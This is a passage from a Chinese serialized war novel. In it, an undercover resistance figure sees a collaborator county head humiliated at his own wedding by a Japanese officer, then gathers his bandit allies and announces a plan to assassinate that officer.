一时间,李二狗的名声在仙人洞镇乃至整个江东县,都臭得像茅坑里的石头,成了人人喊打的过街老鼠。 有一次,李二狗带着李素文去镇上的布庄扯布,刚走到街口,就被一个七八岁的孩童拦住了去路。 那孩子手里攥着块石头,瞪着眼睛,恶狠狠地看着李二狗,突然把石头朝他扔了过来。 “啪”的一声,石头正好砸在李二狗的后脑勺上,鲜血瞬间涌了出来,顺着脖颈往下淌,染红了他的长衫。 “狗汉奸!打死你这个狗汉奸!” 孩子尖叫着,脸上满是与年龄不符的愤怒。 张二驴眼疾手快,一把抓住那孩子的胳膊,气得脸色铁青。 “小兔崽子,敢打人!看我不打烂你的屁股!” 说着就要抬手打下去。 “住手!” 李二狗按住后脑勺,声音有些发闷,却带着不容置疑的威严。 他看着那孩子,眼里没有愤怒,只有一丝复杂的悲凉。 这孩子懂什么?他只是听着大人们说“汉奸该打”,就真的拿起了石头。 张二驴愣了一下,不甘心地松开手:“狗哥,这小兔崽子……” “让他走。” 李二狗的声音里带着一股无力的疲惫。 那孩子见他放自己走,非但不感激,反而往地上啐了一口,唾沫星子溅在李二狗的裤脚上。“狗汉奸!早晚不得好死!” 说完,撒腿就跑,消失在人群里。 李二狗望着孩子远去的背影,抬手摸了摸后脑勺,鲜血沾了满手。 他什么也没说,拉着脸色发白的李素文,默默地往回走。 街上的人看着他狼狈的样子,有的指指点点,有的窃窃私语,都是一副幸灾乐祸的样子。 “二狗,你这是何苦……” 李素文的声音带着哭腔,眼泪在眼眶里打转。 李二狗只是摇了摇头,嘴角扯出一抹苦涩的笑。 他知道,这就是他选择的路——忍辱负重,就得受得住这些。 回到胡家大院,李二狗收到一个大红的喜帖,烫金的“囍”字晃得人眼晕。 打开一看,竟是孙竹刚差人送来的,他要结婚了。 “啪”的一声,李二狗把喜帖狠狠摔在地上,抬脚就往上面跺。 一下,两下,三下…… 直到那大红的纸被踩得稀烂,他才喘着粗气停下手,胸口剧烈起伏着。 严婆惜的尸骨还没凉透呢! 那个女人虽然性子烈,却也是跟孙竹刚过了半辈子的人! 这才被日本人杀了多久?孙竹刚就迫不及待地要续弦,简直无耻到了极点! 可气归气,这喜酒他还必须得去。 他如今是维持会会长,孙竹刚是县长,表面上还得维持着“兄弟情深”的样子,不能让他们看出破绽。 三天后,李二狗带着一份厚礼——一对赤金的镯子,还有一坛陈年的茅台,亲自去了县城。 第641章 盖头一掀,祸端必生 孙竹刚的婚房是一栋三进的四合院,朱门红墙,门口挂着一对大红灯笼,院子里搭着一个巨大的彩棚,吹鼓手在门口敲锣打鼓,一派喜气洋洋的景象,与李二狗心里的憋闷形成了鲜明的对比。 “二狗兄弟,你可算来了!” 孙竹刚穿着一身酒红色的绸衫,胸前戴着一朵大红花,满面红光地从里院迎出来,一把拉住李二狗的手,热情得仿佛两人真是亲兄弟一般。 “快进来,今天一定要多喝几杯!一会儿我介绍你嫂子给你认识。” “嫂子”两个字就像钢针一样扎在李二狗心窝上,他猛地抬头,看向孙竹刚身后的正堂。 红绸布缠绕的门框下,仿佛有一个熟悉的身影一闪而过。 她穿着一身素色的旗袍,眉眼间带着一股淡淡的忧愁,像极了严婆惜。 李二狗的心脏“咯噔”一下,像是被什么东西狠狠地揪住了。 严婆惜已经死了,如今看到这满院的喜庆,听到这声“嫂子”,再想到那个一闪而过的身影,李二狗心痛得几乎难以呼吸。 孙竹刚还在旁边热情地说着什么,李二狗却一句也没听进去。 他看着院子里刺眼的大红喜字,只觉得一阵恶心。 “二狗兄弟,你怎么了?” 孙竹刚见李二狗脸色发白,脚步有些踉跄,不由得停下脚步,关切地问道。 “我……我没事。” 李二狗定了定神,喉结滚动了一下,压下心头那股翻涌的恶心与愤怒。 他不能在这时候露了破绽,只能硬着头皮往前走。 “快进去吧,一会儿咱们兄弟多喝几杯。” 孙竹刚笑着拍了拍他的胳膊,那笑容里的得意与炫耀,像针一样扎在李二狗心上。 “大哥新婚大喜,小弟自然要多喝几杯。” 李二狗勉强挤出一抹僵硬的笑,跟着孙竹刚走进正院。 只见院子中央铺着一条红毯,新娘正站在那里,等着拜堂。 吹鼓手们卖力地吹奏着,锣鼓声震得人耳朵发鸣,可这喜庆的喧闹,在李二狗听来却格外刺耳。 “一拜天地!” 司仪高声唱喏,声音洪亮。 新郎新娘依言拜下,红色的盖头随着新娘的动作轻轻晃动,像一团燃烧的火焰。 “二拜高堂!” …… 仪式正进行到热闹处,院门口突然传来一阵杂乱的脚步声,伴随着翻译官尖细的嗓音:“松井队长到!” 所有人都愣住了,吹鼓手也停了下来,院子里瞬间安静得只剩下清风卷动红绸的声音。 孙竹刚脸上的笑容僵了一下,随即像被点燃的炮仗似的,猛地窜了出去,一路小跑到门口,对着来人点头哈腰,连脸上的褶子都堆成了花。 “松井队长,您能来参加我的婚礼,真是让这小院蓬荜生辉啊!快里面请!里面请!” 他甚至忘了正在进行的拜堂仪式,仿佛松井直树的到来,比自己成婚还重要。 松井直树穿着一身笔挺的宪兵制服,军靴踩在青石板上“咚咚”作响,身后跟着两个端着枪的日本鬼子。 他身材不高,脸上留着一撮小胡子,眼神里带着毫不掩饰的傲慢与审视,扫过院子里的人群。 “孙县长,”松井直树的中国话说得生硬别扭,每个字都像是从牙缝里挤出来的,“今天是你大喜的日子,我代表大日本皇军,送你一件贺礼,祝你新婚快乐。” 他说着,朝身后摆了摆手。 一个日本鬼子立刻上前,双手捧着一个精致的锦盒,递到孙竹刚面前。 孙竹刚连忙双手接过,指尖都在发颤,仿佛那不是礼盒,而是什么稀世珍宝。 “这……这实在是太令人感动了!松井队长,谢谢您!太谢谢您了!” 他的声音里带着刻意演绎的激动,甚至有些语无伦次。 松井直树看着他这副谄媚的模样,唇角的小胡子得意地抖了抖,眼里闪过一丝嘲弄。 “孙县长,不打开看看吗?” “哎,哎!”孙竹刚忙不迭地打开锦盒,里面放着一件大红色的日本和服,丝绸的面料在阳光下泛着光泽,领口和袖口还绣着金色的樱花图案。 “我听说贵夫人长得很漂亮,”松井直树慢悠悠地说道,眼神有意无意地瞟向站在红毡上的新娘,“所以送她一件只有我们大日本帝国的女人才能穿的和服,希望她喜欢。” 人群里顿时响起一阵窃窃私语,声音不大,却像投入湖面的石子,激起一圈圈涟漪。 谁都听得出这话里的轻佻。 可孙竹刚却像是没听出弦外之音,脸上的笑容灿烂得有些刺眼。 “谢谢松井队长的厚爱!我代表全家谢谢您!” 说着,他“啪”地一下,学着日本人的样子,深深地鞠了一躬,腰弯得像一只煮熟的大虾米,后脑勺都快碰到地面了。 李二狗站在人群里,看着这一幕,只觉得胃里一阵翻江倒海。 这就是所谓的“县长”? 为了讨好日本人,连起码的尊严都不要了,真是奴颜媚骨到了骨子里。 松井直树满意地笑了笑,目光再次投向新娘,语气里带着不容置疑的命令。 “孙县长,我听说贵夫人长得很漂亮,还没机会一睹芳容,不知道现在可不可以看一看?” 这话一出,院子里顿时炸开了锅,议论声比刚才大了好几倍。 按照中国的习俗,新娘的红盖头只有入了洞房,才能由新郎亲手掀开,拜堂时掀盖头,那是大大的不吉利。 老话都说“盖头一掀,祸端必生”。 松井直树不可能不知道这些。 日本受中国文化影响千年,婚俗礼仪本就大同小异。 他此刻提出这种要求,分明是故意刁难,根本没把孙竹刚放在眼里。 所有人的目光都集中在孙竹刚身上,连空气都仿佛凝固了。 李二狗紧紧攥着拳头,他倒要看看,这个孙竹刚还能无耻到什么地步。 孙竹刚脸上的笑容僵住了,额头上渗出细密的汗珠。 他犹豫了一秒钟,或许是在权衡日本人的脸色和祖宗的规矩,但这犹豫转瞬即逝。 只见他深吸一口气,快步走到新娘面前,伸出手,“唰”地一下,猛地掀开了那层红盖头。 第642章 孙竹刚被当众羞辱 “啊!” 新娘被孙竹刚突如其来的举动吓得发出一声短促的尖叫,她就像是一只受惊的小鹿,急忙抬起双手,死死捂住了自己的脸。 她的手指纤细白皙,微微颤抖着,透着一股难以言喻的羞涩与慌乱。 “二丫,松井队长想看看你,你捂脸干什么?”孙竹刚的声音充满了谄媚,同时带着一丝呵斥,“快把手拿下来!” 二丫是一个未满十八岁的姑娘,脸上还带着未脱的稚气。 出嫁前,她娘拉着她的手,千叮咛万嘱咐,红盖头一定要等到进了洞房才能掀,不然会被人笑话,还会冲了喜气。 可现在,婚礼还没办完,盖头就被新郎在大庭广众之下掀开,周围还有这么多陌生男人的目光,她只觉得脸颊滚烫,羞耻得恨不得找个地缝钻进去。 院子里的嘉宾都屏住了呼吸,连刚才议论的声音都停了。 所有人的目光都落在二丫那双捂着脸颊的手上,带着好奇,也带着一丝同情。 松井直树的眼睛像一只饿狼似的,直勾勾地盯着二丫,视线从她颤抖的指尖缝隙里钻进去,落在那露出的一小块白里透红的肌肤上。 那肌肤就像刚剥了壳的荔枝,细腻得仿佛能掐出水来。 看得他喉结滚动,忍不住伸出舌头,舔了舔有些干燥的嘴唇,眼神里的贪婪几乎要溢出来。 “二丫!快点把手拿下来!”孙竹刚的声音变得严厉起来,甚至带着一丝威胁,“让松井队长看看,你这丫头,怎么这么不懂事呢?” 在孙竹刚的呵斥下,二丫的肩膀抖得更厉害了。 她知道自己躲不过去了,只能缓缓地、一点一点地放下了手。 一张娇嫩欲滴的脸庞,就这样毫无防备地呈现在众人面前。 柳叶眉微微蹙着,像含着一汪秋水的眼睛里蒙着一层水汽,带着羞怯与惶恐,长长的睫毛像蝶翼似的颤动着。 鼻梁小巧挺翘,嘴唇是自然的樱粉色,此刻却抿得紧紧的。 脸颊泛着一圈红晕,像一个熟透的苹果,连带着耳根都红透了。 那份羞涩与惊慌,像晨露沾在花瓣上,让她的美丽多了几分动人的楚楚可怜。 松井直树看得眼睛都直了,半晌才回过神来。 他嘴里不停念叨着:“吆西,吆西!” 那语气里的惊艳与占有欲,就像一条毒蛇,缠绕在二丫的心头上。 李二狗看着二丫那双含着泪的眼睛,心里像被什么东西狠狠地揪了一下。 他知道,这朵刚刚绽放的百合花,怕是不久就要被这畜生给毁了。 而那个为了攀附日本人的孙竹刚,恐怕会亲手把她推向深渊。 “孙县长,你的新娘很漂亮,我很喜欢。” 松井直树咧开嘴,露出满口熏黄的牙齿,其中两颗大牙黑得像是被烟熏透了,笑容里的猥琐像一堆黏腻的狗屎,恶心的人心里发堵。 他说这话时,眼睛根本没有看孙竹刚,视线黏在二丫那张俊俏的脸上,像是要把那层娇嫩的肌肤看穿。 孙竹刚脸上的笑容僵住了,耳根子“腾”地一下红透了,不是害羞,是憋的。 他怎么可能听不出松井直树话里的龌龊。 那哪里是夸赞,分明是赤裸裸的觊觎,像饿狼盯着嘴边的肥肉,毫不掩饰那股子掠夺的欲望。 作为男人,谁能容忍别人在自己的婚礼上,当着满院子的宾客,对自己的新娘说出这种话?这简直是扒了他的脸皮,踩在地上碾! 可他不敢发作,甚至连皱眉都得小心翼翼。 孙竹刚太清楚了,自己这县长的位子,不过是日本人给的。 松井直树一句话,就能让他从云端跌进泥里,甚至连小命都保不住。 比起权力和性命,一个女人……又算得了什么? 他在心里这样劝慰自己,可喉咙里就像堵着一块烧红的烙铁,又烫又疼。 “松井队长过奖了。”孙竹刚挤出一个比哭还难看的笑容,“改日一定请队长来家里做客,尝尝拙荆做的小菜。” 他故意把“拙荆”两个字说得很重,像是在提醒对方,这是他的妻子,却又透着一股连自己都觉得恶心的讨好。 松井直树眯起眼睛,显然对这答复还算满意。 他再禽兽,也知道今天不能做得太绝。 孙竹刚毕竟是江东县的县长,还得靠他笼络人心,维持表面的安稳。 真把人逼急了,对日本人建立大东亚共荣没有好处。 但他那双色眯眯的王八眼睛,还是像黏在二丫身上似的,从上到下又扫了一遍,目光在她微微颤抖的肩膀和泛红的脸颊上停留了许久。 那眼神里的淫邪,看的人浑身发麻。 二丫被他看得浑身僵硬,头埋得更低了,手指紧紧绞着衣角。 “新婚快乐。” 松井直树终于移开视线,皮笑肉不笑地丢下一句,带着两个日本鬼子转身走了。 军靴踩在地上的声音越来越远,直到消失在门外,孙竹刚才像被抽走了骨头似的,猛地晃了一下。 他脸上的血色瞬间褪得一干二净,只剩下铁青,嘴唇哆嗦着,像是想说什么,却一个字也吐不出来。 他双拳攥得死紧,手背青筋暴起,指关节“咯吱”作响,眼里像是要喷出火来,那团火里烧着屈辱、愤怒,还有一丝连自己都唾弃的懦弱。 这种羞辱,比当众扇他耳光还难受。 他是江东县的县长,人人都觉得他是日本人面前的大红人,可在松井直树眼里,终究不过是一条摇尾乞怜的狗,连自己的女人都护不住。 这哪里是羞辱他个人,分明是往他孙竹刚的脸上泼粪,让满院子的人都看看,他这个县长到底有多窝囊! “大哥。”李二狗不知何时走到他身边,声音压得很低,“不管怎么说,先把婚礼办完吧,这么多宾客看着呢。” 孙竹刚猛地吸了口气,胸口剧烈起伏,像是要把满肚子的火气都咽下去。 他闭了闭眼,再睁开时,眼里的火焰灭了,只剩下一片死水般的平静。 他哑着嗓子大喊了一声:“接着奏乐,接着拜堂!” 第643章 哀其不幸,怒其不争 吹鼓手们面面相觑,迟疑了片刻,才又重新拿起乐器。 他们心中虽然无比地鄙视孙竹刚,但人家毕竟付了钱。 喇叭锣鼓声再次响彻四合院上空,只是已经没有了刚才的喜庆。 孙竹刚转过身,走到二丫身边,脸上努力挤出一丝笑容,可那笑容怎么看都像是在哭。 二丫抬起头,怯生生地看了他一眼,眼里的泪水终于还是忍不住滚落下来。 这个人明明是一县之长,可为什么连自己的媳妇被人欺负了都不敢吱声?自己嫁给他不就是图县长夫人这个头衔吗? 如今看来,这个头衔在日本人面前根本一文不值。 孙竹刚的手僵在半空,想替她擦拭眼泪,却又缩了回去。 他知道,她的眼泪里,有委屈,有恐惧,或许还有一丝对自己的失望。 自己都对自己失望,何况是她! 可婚礼还得继续,他作为县长的最后一丝颜面不能全部被踩在地上。 孙竹刚俯身捡起地上的那块鲜红的盖头,在众人的注视和唏嘘声中重新盖在二丫头上。 拜堂的仪式继续进行,可院子里的气氛再也回不到刚才的热闹。 宾客们低着头,窃窃私语,看孙竹刚的眼神里,多了一些说不清道不明的东西。 孙竹刚努力挺直了自己腰板,一步步走完了所有的仪式,只是那背影,怎么看都透着一股说不出的凄凉。 喜宴上的喧闹渐渐褪去,宾客们带着几分微妙的神色陆续散去,院子里只剩下满地的鞭炮碎屑和几个收拾残局的佣人。 孙竹刚被两个下人架着,脚步虚浮地往内院走。 他不出意料地喝得酩酊大醉,脸颊通红,嘴里还嘟囔着含混不清的话。 他时而笑,时而骂,整个人像是被抽走了主心骨一般,软得像一摊烂泥。 李二狗跟在后面,眉头微蹙,他知道孙竹刚是装的。 他哀其不幸,怒其不争。 李二狗知道孙竹刚此刻的醉态里,藏着多少屈辱和不甘。 被松井直树在婚礼上当众羞辱,却连一句硬话都不敢说,换谁心里都堵得慌。 李二狗正在思索着,孙竹刚在前面突然停下了脚步。 他猛地甩开下人的手,让他们离自己远一些,然后一把抓住李二狗的胳膊,力道大得惊人。 “二狗兄弟……”孙竹刚的眼睛快眯成了一条缝,醉眼迷蒙地看着李二狗,舌头打了结,“我跟你说个事……你可千万别……别告诉别人……” 李二狗心里一动,忙扶稳他,说道:“大哥你说,我听着呢。” “日本人……”孙竹刚刻意压低了声音,酒气全部喷在李二狗的脸上,“不知道从哪听说的……说清风寨有……有大量金银财宝,还有枪支弹药,后山……后山还建了兵工厂……” 他打了一个酒嗝,话锋一转,语气里透着几分恐惧,“他们……他们这几天就要调集兵力……剿灭清风寨……” “什么?” 李二狗的心猛地一沉,日本人还是要对清风集团动手了。 这一切都在李二狗的意料之中,只不过他没想到,日本人的行动会如此迅速。 他强装镇定,可手指还是忍不住微微颤抖。 自从他和清风集团假意“决裂”之后,日本人虽然心里不信,却也暂时没再逼他出手对付集团,他还以为这事能缓一缓,没想到他们竟然一直在暗中盘算。 尤其是不知道哪个王八蛋编造出“兵工厂”这种事情,这分明是要置清风集团于死地! 清风寨地势险要,易守难攻,日本人的坦克大炮确实派不上用场。 可他太清楚山寨的底细了。 弟兄们大多是农民出身,手里的武器基本都是中国自己制造的步枪,连子弹都得省着用。 日本鬼子的战斗力有多强悍,他是知道的,连装备精良的国军都吃不消,更别提这些没经过正规训练的弟兄。 日本人真要是调集大队人马强攻,山寨迟早会被攻破,到时候弟兄们怕是一个也活不了。 必须想办法阻止他们! 李二狗的脑子飞快地旋转着,最后目光落在孙竹刚那张醉醺醺的脸上,语气急切地问道:“大哥,你能不能想想办法,让日本人放弃这个计划?” 孙竹刚听后,只能无奈地摇了摇头,笑得比哭还难看。 “二狗兄弟,今天的事……你也看到了……”他抬起手,指了指自己的鼻子,声音里满是自嘲,“我虽说是江东县长……可在日本人眼里……就是条狗啊……我说话……他们怎么会听……” 说罢他脚下一软,差点摔倒在地上,李二狗赶紧伸手扶住他,只觉得他的手臂冰凉刺骨。 李二狗沉默了片刻,一个念头突然在脑海里闪过。 他看着孙竹刚那张写满颓丧的脸,故意叹了口气,语气沉重地说道:“大哥,说句不该说的,今天松井那副样子,我看他是盯上嫂子了。你可得看好嫂子,不然……” 这话就像一根钢针,精准地戳中了孙竹刚的痛处。 他猛地瞪大了眼睛,酒意似乎也醒了几分,脸上的血色瞬间褪得一干二净。 松井直树临走时那双色眯眯的眼睛,还有那句“我很喜欢”,像毒蛇似的钻进他心里,这正是他最担心的事。 日本人什么事做不出来? 真要是被松井直树缠上,二丫的下场可想而知…… 而他,敢反抗吗? 答案是他不敢。 如果他有反抗的血性,当初就不会投敌当汉奸。 正因为没血性,他才怕失去县长的位子,怕丢了性命,更怕松井直树真的做出那种事情,让他在江东县父老乡亲面前彻底抬不起头。 “哎……”孙竹刚长长地叹了口气,声音里带着一股浓浓的绝望,“二狗兄弟,你是不是……是不是很鄙视大哥啊?大哥我后悔啊!” 李二狗心里确实把孙竹刚的祖宗十八代都骂了个遍。 你他娘的后悔当汉奸? 老子这“汉奸”的名声,还不都是被你逼出来的? 老子找谁说理去? 第644章 李二狗的绝密计划 李二狗心里骂归骂,可脸上却露出一副理解的神色,他拍了拍孙竹刚的肩膀。 “大哥,怎么会呢?我知道你的难处。” 突然他话锋一转,语气明显加重了几分。 “最可恨的是其实是小日本!松井那个王八蛋要是真对嫂子动了心思,不光嫂子活不了,你这个县长还有什么脸面在江东待着?” 这句话彻底击垮了孙竹刚的心理防线。 他最怕的就是这个——既保不住自己的女人,又保不住自己的脸面,最后落得个里外不是人。 他踉跄着后退一步,靠在廊柱上,双手抓着自己的头发,痛苦地呻吟道:“我后悔啊……我当初为什么要当汉奸啊……现在日本人把我当狗,不,我连狗都不如啊……” “如今后悔还有什么用!”李二狗趁热打铁,眼神锐利地看着他,“大哥,咱们不能就这么干等着,我看咱们趁着事情还没有发生,得赶紧想个办法啊。” “办法?能有什么办法?”孙竹刚抬起头,眼睛里布满了血丝,像抓住了最后一根救命稻草似的,“二狗兄弟,你有办法?” 李二狗故意左右看了看,确定周围没人之后,才凑到他耳边,压低声音,把自己的计划说了出来。 他的声音很轻,却字字清晰。 孙竹刚听完,惊得半天说不出话来。 他眼睛瞪得溜圆,酒意彻底醒了,额头上瞬间冒出一层冷汗。 “这……这……”他嘴唇哆嗦着,“兄弟,这事……是不是太冒险了?弄不好……弄不好是要掉脑袋的!” “大哥,你怎么还这么糊涂?掉脑袋也总比等死强吧?”李二狗的语气平静,却带着一股狠劲,“与其这样整天提心吊胆,怕松井抢嫂子,怕日本人卸磨杀驴,不如主动搏一把。成了,嫂子保住了,你还是江东县长;败了,大不了一死,总比像狗一样活着强。” 孙竹刚的脸色一阵青一阵白,他在李二狗身边来回踱着步,双手背在身后,手指紧紧攥着,脚步慌乱得像一只没头的苍蝇。 他知道李二狗说的是对的,可日本人的手段他太清楚了,一旦事情败露,后果不堪设想。 绝不是一死那么简单,恐怕得被小日本千刀万剐。 “大哥,这事交给我来办,你还有什么不放心的?”李二狗看出了他的犹豫,语气里带着几分激将,“难道你想眼睁睁地看着松井直树那个王八蛋把嫂子抢走,看着日本人把你像狗一样踩在脚下?你能心甘吗?大哥,咱们男人,一定得有血性!” 孙竹刚猛地停下脚步,胸口剧烈起伏着。 他不是不怕,只是李二狗的话像一把火,点燃了他心里那点残存的血性。 是啊,他已经活得够窝囊了,难道还要眼睁睁看着自己的女人被小鬼子抢走,最后落得个死无全尸的下场吗? “兄弟,我……我总觉得这事太冒险……”他还是犹豫,声音里带着哀求,“咱们……咱们能不能再想想别的办法?” 李二狗的脸瞬间沉了下来,他猛地抽回手,语气冷淡地说道:“既然大哥觉得冒险,那就算了。” 他转身作势就要走。 “反正这事本来就是大哥自己的事情,大哥都不急,我急什么?大哥还是早点洞房去吧,别让我那年轻的小嫂子等急了。” “年轻的小嫂子”这几个字就像巴掌一样扇在孙竹刚的脸上。 他猛地抬头,眼神里闪过一丝狠厉。 是啊,他要是连自己的女人都护不住,还算什么男人?当这个狗屁县长还有什么意义? “好!”孙竹刚突然低吼一声,像是下定了决心,一拳砸在廊柱上,“干他娘的!兄弟,大哥听你的!” 李二狗看着他通红的眼睛,嘴角勾起一抹不易察觉的笑意。 他知道,孙竹刚这种人,不逼到绝境是不会放手一搏的。 而现在,他终于被激起了那点破釜沉舟的勇气。 夜风吹过院子,带着几分凉意。 李二狗拍了拍孙竹刚的肩膀,安慰道:“大哥放心,只要咱们按计划行事,一定能成,我办事你还不放心吗?” 孙竹刚深吸一口气,点了点头,眼里的恐惧渐渐被一种豁出去的决绝所取代。 他知道,从这一刻起,他和李二狗就彻底绑在了一条船上,要么一起活,要么一起死。 而他,已经没有退路了。 “兄弟,大哥和嫂子就把命都交给你了!” “大哥,咱们是要小鬼子的命,你不用担心!赶紧进洞房去陪嫂子吧,她今天肯定吓坏了。” 孙竹刚点点头,脸上还是掩饰不住的担忧。 既使此事做成了,以后自己也就彻底被李二狗拿捏了。 李二狗骑马连夜回到胡家大院。 “二驴,你现在马上上清风山,让秀才、老三到这里来。” 张二驴此时已是李二狗和清风集团之间的联络人,他已经完全取得李二狗的信任。 “狗哥,这么晚了,事情这么急吗?” 李二狗郑重地点了点头,说道:“事情紧急,不能等到明天了,快去吧。” 张二驴不敢耽误,骑上马直奔清风山。 张二驴持有秀才颁发的全集团唯一一块令牌,可以自由出入集团。 守门的土匪见到令牌,赶紧打开寨门放张二驴进去。 陈老三正和望冬在床上试验一种新学的姿势,捣鼓了半天也不得要领,正心烦气躁之时突然听到一阵急促的敲门声。 “谁他娘的这时候敲门打扰老子?” 张二驴说道:“三哥,我是二驴。” 陈老三听到张二驴的名字,赶紧起身下床。 “把衣服穿上。”望冬提醒道。 陈老三低头一看,自己正一丝不挂。 他胡乱地穿上衣服就去开门,张二驴这时候前来,肯定是出了大事。 “二驴,这么晚了,什么事?” “三哥,狗哥让你和秀才大哥马上去胡家大院。” “现在?” “对!” “出啥事了?这么急?” “狗哥没说,他只说有重要的事。” 望冬此时已经穿好衣服走了出来。 “我和你们一起去。” 第645章 深夜密谈 夜色就像一块厚重的幕布,将胡家大院包裹得严严实实。 院墙外的一棵老槐树影影绰绰,一阵微风吹来,叶子“沙沙”作响,像是背后隐藏着无数双眼睛。 陈老三、秀才和望冬在张二驴的引导下,踏着满地月光,匆匆走进内院。 陈老三皮鞋的鞋跟踩在地面的青石板上,发出“蹬蹬”的清脆声响,在这寂静的夜里显得格外突兀。 “不让你穿皮鞋,你总是不听。”望冬忍不住抱怨道。 在陈老三的认知中,当领导的就该穿皮鞋,不然怎么凸显自己与众不同的身份? 但望冬的埋怨他不敢还嘴,不然会引来她更多的埋怨。 他只是咧嘴一笑,没有解释。 来到李二狗门前,张二驴敲了敲门,说道:“狗哥,人到了。” 里面传来李二狗低沉的嗓音。 “进来吧,门没锁。” 张二驴推开门,把秀才等三人让进屋里。 “你们谈,我就在门外,有事叫我。” 张二驴说完就知趣地退了出去。 什么时候该留,什么时候该走,什么话该听,什么话不该听,张二驴心里清楚的很。 张二驴走后,李二狗还没来得及说话,陈老三就忙不迭地问道?:“狗哥,这么晚把我们叫来,是不是出什么事了?” 陈老三性子急,一路从清风集团赶来,心里早就打了无数个问号。 此刻见李二狗坐在桌边,指尖夹着一支没点燃的烟,脸色沉静得有些异常,更是有些按捺不住。 如果不是烧屁股的事情,李二狗绝对不会深夜叫他们前来。 此时木桌上的那盏油灯燃得正旺,灯芯上下跳动着,将李二狗的影子投在他身后的墙面上,忽明忽暗。 他抬眼看向三人,目光扫过陈老三焦灼的脸、秀才沉思的眼,最后落在望冬紧抿的嘴唇上。 没有多余的寒暄,他开门见山地说道:“我刚刚得到消息,日本人正在集结重兵,这两天要清剿清风集团。” “什么?”陈老三猛地一拍桌子,震得桌上的茶碗都跳了起来,“这群狗娘养的!来得正好!老子早就看他们不顺眼了,正好让他们尝尝咱们清风集团的厉害!” 他撸起袖子,胳膊上的青筋突突直跳。 “来了就别想走,老子定让他们有去无回!”陈老三意犹未尽地说道。 秀才听后没有说话,只是眉头拧得更紧了。 他手指无意识地摩挲着自己的胡茬,脑子里已经浮现出日军九二式步兵炮的模样。 那玩意儿射程能达到五六里地,只要把它们架在清风山脚下,对着上面的清风寨一阵猛轰,哪怕准头差一些,也能把山寨炸得鸡飞狗跳。 弟兄们手里的那些中正步枪和手榴弹,在这种重火力面前,根本不够看。 也许只有建在后山的那两门山炮能发挥一些作用,但毕竟杯水车薪。 “秀才,你怎么看?” 李二狗没有理会陈老三的激动,他把目光转向秀才。 他知道,这种时候,秀才的冷静比陈老三的勇猛更加重要。 秀才深吸一口气,缓缓开口说道:“狗哥,咱们清风寨地势险要,易守难攻是没错,但日本鬼子的战斗力实在不能低估。你想,那些固若金汤的城墙都挡不住他们的进攻,更何况咱们这个山寨?” 他顿了顿,语气变得凝重起来。 “更要紧的是,咱们的药丸生意耽搁不起。那是咱们集团的命根子,真要是和小鬼子硬拼,就算守住了山寨,可生意断了,弟兄们迟早也得断了活路。不到万不得已,绝对不能鱼死网破。” 李二狗不禁点了点头,眼里闪过一丝赞许,秀才的想法和自己不谋而合。 清风集团是弟兄们的根,但药丸生意就是这根上的养分,没有了养分,根迟早会枯死。 “老三,你觉得秀才的话有没有道理?” 陈老三梗着脖子,脸上满是不服气。 “道理是这个道理,可日本鬼子能听咱们的?他们都要打上门了,咱们总不能坐着等死吧?” 李二狗忽然笑了,那笑容里带着几分狡黠,几分决绝,正是他标志性的模样。 看似轻松,实则藏着翻江倒海的力气。 “他们要是不听,那就给他们找个听的地方。” “什么地方?”陈老三追问道。 “阎王殿。” 李二狗轻轻地吐出三个字,声音虽不高,却像一块石头砸进深湖里,瞬间激起了千层浪。 陈老三愣住了,秀才也抬起头,眼里闪过一丝惊讶。 望冬更是下意识地攥紧了衣角,脸上写满了疑问。 他们都没料到,李二狗竟然说出这样的话。 现在是日本人要攻打清风集团,可李二狗却说要把他们送到阎王殿。 到底是谁打谁? 他葫芦里究竟卖的什么药? “狗哥,你到底想做什么?”望冬的声音有些发颤,“你有主意就直说,我们都听你的。” 她从进门就没怎么说话,此刻却是一句顶一万句,一句话就问到了问题的关键。 她目光紧紧锁在李二狗脸上,满是信任。 李二狗对上望冬的眼神,心里微微一暖,给了她一个赞许的笑容。 望冬的脸“腾”地一下红了,心里就像揣了一只小鹿,“咚咚”直撞。 “秀才,”李二狗把目光从望冬身上收回,语气重新变得沉稳起来,“你回去之后,立刻传令下去:五个农场从今天起日夜戒备,警戒哨要放到三里之外,后面每隔五百米再设一个,层层布防,绝对不能让日本人摸到近前偷袭。” “同时,让所有的弟兄都做好战斗准备。一旦哪个农场遇袭,其他农场的人必须招之能来,来之能战,互相策应,不能被鬼子各个击破。” “还有,任何人未经允许,一律不许下山。违令者,按寨规处置,绝不姑息!” 秀才一一记下,想了想,又问道:“狗哥,咱们生产的药丸,最近是不是先别往外运了?现在风声这么紧,万一被小鬼子截了,损失不说,还可能暴露咱们的路线。” 第646章 诀别前夜 李二狗思考片刻,还是坚决地摇了摇头。 一夜八次丸目前主要在日本本土销售,价格已经翻了两番还是供不应求。 旧垣结衣花大价钱已经打通了从天津港到日本本土的海运路线,利润丰厚,是清风集团最主要的进项,绝不能轻易停。 “还得继续运。秀才,让负责运送的弟兄多走夜路,避开小鬼子的巡逻队,加倍小心就是。” “放心吧狗哥,”秀才点头应道,“负责运送的都是百里挑一的好手,精明得很,不会出岔子。” 陈老三在一旁听了半天,见李二狗只说防备,不提怎么“送鬼子去阎王殿”,忍不住又急了。 “狗哥,你刚才说让小鬼子去阎王殿,总不能让他们自己去吧?到底怎么干,你倒是说啊!” 李二狗看着他急不可耐的样子,笑道:“这次老三问到点子上了,他们自己当然不会去,所以得咱们送他们一程。” 众人一脸的疑惑。 李二狗顿了顿,目光扫过三人,一字一句地说道:“咱们中国有句古话,擒贼先擒王。只要把日军在江东的最高指挥官宰了,他们群龙无首,清剿计划自然就泡汤了,咱们清风集团也就安全了。” “你是说……刺杀松井直树?”陈老三眼睛瞪得溜圆,他虽然勇猛,却也知道松井直树身边防卫森严,想杀他,简直是虎口拔牙。 “狗哥,这……这也太冒险了吧?哪有那么容易啊?” “是啊,对别人来说或许很难,但我要杀他,易如反掌。” 李二狗的语气平静得就像在说一件稀松平常的事情,没有丝毫吹嘘的痕迹。 这话要是换了别人说,肯定会被当成吹牛,可从李二狗嘴里说出来,三人却莫名地信服。 他从来不是一个说大话的人,一旦说出口,就必然有十足的把握。 陈老三的热血瞬间被点燃了,他拍着胸脯说道:“狗哥,我跟你一起去!多个人多个照应!” 李二狗却摇了摇头,眼神坚定地予以拒绝。 “不用。这次行动,人多了反而碍事。松井直树身边的警卫不少,刺杀他必须一击致命,根本没有第二次机会,一旦失手,连撤离的余地都没有。” 他看着陈老三,语气郑重地说道:“你们只需要按我的吩咐,守好清风集团,看好各个农场,剩下的事,我自己来做。” 陈老三还想争辩,却被李二狗的一个眼神制止了。 